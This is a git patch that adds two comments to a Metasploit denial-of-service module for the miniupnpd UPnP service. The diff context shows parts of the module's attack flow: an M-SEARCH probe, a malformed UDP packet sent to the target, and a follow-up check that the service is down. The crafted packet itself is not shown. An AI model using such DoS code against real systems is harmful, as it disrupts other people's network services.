From 154894bda6ef76d4eb2bec80e861ba94de97e4a5 Mon Sep 17 00:00:00 2001 From: Dejan Lukan Date: Mon, 10 Jun 2013 10:18:26 +0200 Subject: [PATCH] Added comments and merged jvazquez-r7-miniupnp_dos_clean branch. --- modules/auxiliary/dos/upnp/miniupnpd_dos.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb index 86b30e02bd..9cef84c85f 100644 --- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb +++ b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb @@ -53,6 +53,7 @@ class Metasploit3 < Msf::Auxiliary end def run + # the M-SEARCH probe packet that tries to identify whether the service is up or not msearch_probe = "M-SEARCH * HTTP/1.1\r\n" msearch_probe << "Host:239.255.255.250:1900\r\n" msearch_probe << "ST:upnp:rootdevice\r\n" @@ -89,6 +90,7 @@ class Metasploit3 < Msf::Auxiliary print_status("#{rhost}:#{rport} - Sending malformed packet...") udp_sock.put(sploit) + # send the probe to the target print_status("#{rhost}:#{rport} - The target should be unresponsive now...") response = send_probe(udp_sock, msearch_probe) if response.nil?